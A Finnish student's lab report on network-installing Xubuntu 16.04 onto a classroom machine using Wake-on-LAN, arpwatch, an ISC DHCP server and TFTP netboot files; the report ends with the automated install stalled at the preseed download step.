sudo tail --lines=100 /home/*/.bash_history /var/log/auth.log /var/log/apache2/*.log /var/log/syslog /var/log/installer/syslog /proc/uptime /etc/lsb-release >log-picks-$(date +'%Y-%m-%d_%H%M').txt

Teen tehtävän Labraluokassa h5005 HP koneella LiveUSB Xubuntu  16.04 LTS

Näppäimistö suomalaiseksi:

$ sudo setxkbmap fi

Päivitän paketit:

$ sudo apt-get update

Asennan “herättäjä” ohjelman ja arp-viestien katselu ohjelman

$ sudo apt-get install wakeonlan

$ sudo apt-get install arpwatch

Avan syslog seurannan ja sitten käynnistän valitsemaani “orja”-kone:

$ tail -F /var/log/syslog
Nov 28 13:43:25 xubuntu arpwatch: execl: /usr/lib/sendmail: No such file or directory
Nov 28 13:43:25 xubuntu arpwatch: reaper: pid 4061, exit status 1
Nov 28 13:43:25 xubuntu arpwatch: execl: /usr/lib/sendmail: No such file or directory
Nov 28 13:43:25 xubuntu arpwatch: reaper: pid 4062, exit status 1
Nov 28 13:45:13 xubuntu arpwatch: new station 172.28.172.137 78:ac:c0:c1:09:a6 eno1
Nov 28 13:45:13 xubuntu arpwatch: execl: /usr/lib/sendmail: No such file or directory
Nov 28 13:45:13 xubuntu arpwatch: reaper: pid 4065, exit status 1
Nov 28 13:45:34 xubuntu arpwatch: new station 172.28.9.61 2c:44:fd:85:91:90 eno1
Nov 28 13:45:34 xubuntu arpwatch: execl: /usr/lib/sendmail: No such file or directory
Nov 28 13:45:34 xubuntu arpwatch: reaper: pid 4066, exit status 1
Nov 28 13:48:18 xubuntu arpwatch: new station 169.254.74.204 78:ac:c0:c1:04:a5 eno1
Nov 28 13:48:18 xubuntu arpwatch: new station 172.28.172.242 78:ac:c0:c1:08:56 eno1
Nov 28 13:48:18 xubuntu arpwatch: execl: /usr/lib/sendmail: No such file or directory
Nov 28 13:48:18 xubuntu arpwatch: reaper: pid 4074, exit status 1
Nov 28 13:48:23 xubuntu arpwatch: execl: /usr/lib/sendmail: No such file or directory
Nov 28 13:48:23 xubuntu arpwatch: reaper: pid 4073, exit status 1

Lihavoittuna on arp-sanoma “orja”-koneesta, jonka MAC on 78:ac:c0:c1:08:56

Kokeilin käynnistää:
xubuntu@xubuntu:~$ wakeonlan 78:ac:c0:c1:08:56
Sending magic packet to 255.255.255.255:9 with 78:ac:c0:c1:08:56
xubuntu@xubuntu:~$

Magic paketti lähti broadcast lähetyksenä

Muokan tiedosto:

sudo nano /etc/default/isc-dhcp-server

INTERFACES =”eno1″

Kopion talteen original tiedoston.

$ sudo cp /etc/dhcp/dhcpd.conf /etc/dhcp/dhcp.conf.orig

Muokkaan tiedostoa:

sudoedit /etc/dhcp/dhcpd.conf
ddns-update-style none;

#option domain-name “example.org”;
#option domain-name-servers ns1.example.org, ns2.example.org;

default-lease-time 600;
max-lease-time 7200;
log-facility local7;

authoritative; # BE CAREFUL

next-server 172.28.172.131; # TFTP server ip address
filename “pxelinux.0”; # name of bootloader image

subnet 172.28.0.0 netmask 255.255.0.0 {
host alex {
hardware ethernet 78:ac:c0:c1:08:56;
fixed-address 172.28.11.11;
option subnet-mask 255.255.0.0;
option routers 172.28.1.254;
option domain-name-servers 8.8.8.8, 172.28.1.67, 172.28.1.69;
option domain-name “tielab.haaga-helia.fi”;
}
}

$ service isc-dhcp-server restart

$ wakeonlan 78:ac:c0:c1:08:56

Orjakoneella ruduulle tuli DHCP:n serverini määrämä IP-osoite: 172.28.11.11

Latasin tästä netboot tarballin:

http://archive.ubuntu.com/ubuntu/dists/xenial-updates/main/installer-amd64/current/images/netboot/netboot.tar.gz

Purkasin sen ja kopioin /var/lib/tftpboot/ kansioon.

$ sudo cp -r * /var/lib/tftpboot/

Muokkasin tiedosto:

sudoedit /var/lib/tftpboot/ubuntu-installer/amd64/boot-screens/syslinux.cfg

# D-I config version 2.0
# search path for the c32 support libraries (libcom32, libutil etc.)
path ubuntu-installer/amd64/boot-screens/
include ubuntu-installer/amd64/boot-screens/menu.cfg
default ubuntu-installer/amd64/boot-screens/vesamenu.c32

label alex
kernel ubuntu-installer/amd64/linux
append initrd=ubuntu-installer/amd64/initrd.gz auto=true auto url=tftp://172.28.172.131/ubuntu-installer/amd64/proseed.cfg locale=en_US.UTF-8$

prompt 1
timeout 5
default alex

Sitten lähetin taikapaketin:

wakeonlan 78:ac:c0:c1:08:56

Orjakoneella alkoi asennus, mutta se pysähtynyt kohtaan:

Download debconf preconfiguration file

20161128_172837

Yritän korjata se vielä.

Lähteet:

http://terokarvinen.com/2016/aikataulu-palvelinten-hallinta-ict4tn022-1-5-op-uusi-ops-loppusyksy-2016#comment-22004

https://joonaleppalahti.wordpress.com/2016/11/18/palvelinten-hallinta-harjoitus-8/